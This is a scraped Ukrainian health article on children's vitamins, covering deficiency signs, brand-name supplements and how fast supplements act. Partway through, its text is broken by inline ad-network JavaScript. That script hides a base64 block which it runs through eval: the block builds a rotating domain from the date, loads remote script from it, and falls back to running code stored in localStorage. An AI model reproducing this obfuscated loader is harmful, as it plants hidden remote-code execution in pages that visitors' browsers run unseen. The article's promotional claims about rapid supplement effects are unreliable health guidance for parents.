Вітаміни необхідні для зростання та розвитку дитячого організму, підтримки імунної системи та забезпечення нормальної функції органів та систем. Нестача вітамінів може вплинути на здоров’я дитини. Наприклад:
нестача вітаміну А може призвести до проблем із зором, зростанням та імунною системою, а також збільшити ризик інфекційних захворювань;недостатня кількість вітаміну С може спричинити уповільнення загоєння ран, загальну слабкість та підвищену втому, а також збільшити ризик інфекційних захворювань.нестача вітаміну D підвищує ризик розвитку рахіту, а також впливає на здоров’я кісток та м’язів.
Тому важливо забезпечити дітей достатньою кількістю вітамінів через різноманітне харчування. За необхідності можна приймати вітамінні комплекси, наприклад Супрадин для дітей Розумняшки або Імуно кідс, які містять вітаміни та поживні елементи.
Як зрозуміти, що дитині не вистачає вітамінів
Існує кілька ознак, які можуть вказувати на нестачу вітамінів у дитини:
втома та слабкість. Якщо дитина швидко втомлюється, не хоче займатися активними видами спорту, їй важко прокидатись зранку, це може вказувати на дефіцит вітамінів, таких як вітамін С чи вітамін В12.проблеми зі шкірою, такі як сухість, лущення, подразнення, висипання або проблеми з волоссям, такі як ламкість, це може бути через нестачу вітамінів А, С, Е та D.проблеми із зором. Якщо дитина часто скаржиться на проблеми із зором, це може свідчити про недолік вітаміну А.якщо у дитини виникають проблеми яснами, кровоточивість, це може вказувати на нестачу вітаміну С.проблеми зі зростанням та розвитком. Якщо дитина не набирає достатньої ваги або не зростає відповідно до норм для свого віку, причиною може бути дефіцит вітаміну D.
Проте, недолік вітамінів може бути прихованим і не виявлятися однозначно, тому варто звернутися до лікаря, щоб здати аналізи та отримати конкретні рекомендації.
Як швидко поповнюються запаси вітамінів
Якщо вживати вітамінні комплекси, то вже за кілька днів організм насичується потрібними елементами. Покращення стану можна відмітити через 7-10 днів регулярного вживання вітамінів. Для зміцнення імунітету та насичення організму потрібно пройти повний курс прописаного препарату. Потрібно зважати на зміст та дотримуватись інструкції, щоб отримати максимальну користь. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Література:
1. Витамины. Макро- и микроэлементы : справочник / В. В. Горбачев, В. Н.Горбачева. — Москва : Медицинская книга, 2011. — 428 с. — Библиогр.: с. 424-428. -3000 экз. — ISBN 978-5-91894-007-5 (в пер.)
2. Макробиотика живого питания / Кузнецов Е. Д., Креславский В. Д., Клериков Н. В. — Ярославль : Найс, 2012. — 159 с. — (Библиотека основ эстетической макробиотики). — Библиогр.: с. 153-156. — 1000 экз. — ISBN 978-5-9901040-2-0
3. Веселовский, К. Б. Витамины, минеральные макро- и микронутриенты : справочное руководство / К. Б. Веселовский. — Москва : АИРО-XXI, 2013. — 574 с. Библиогр.: с. 549-552. — 500 экз. — ISBN 978-5-91022-151-6 (в пер.) (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/znachennya-vitaminiv-dlya-ditej-yak-voni-vplivayut-na-zdorov-ya-ta-rozvitok/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
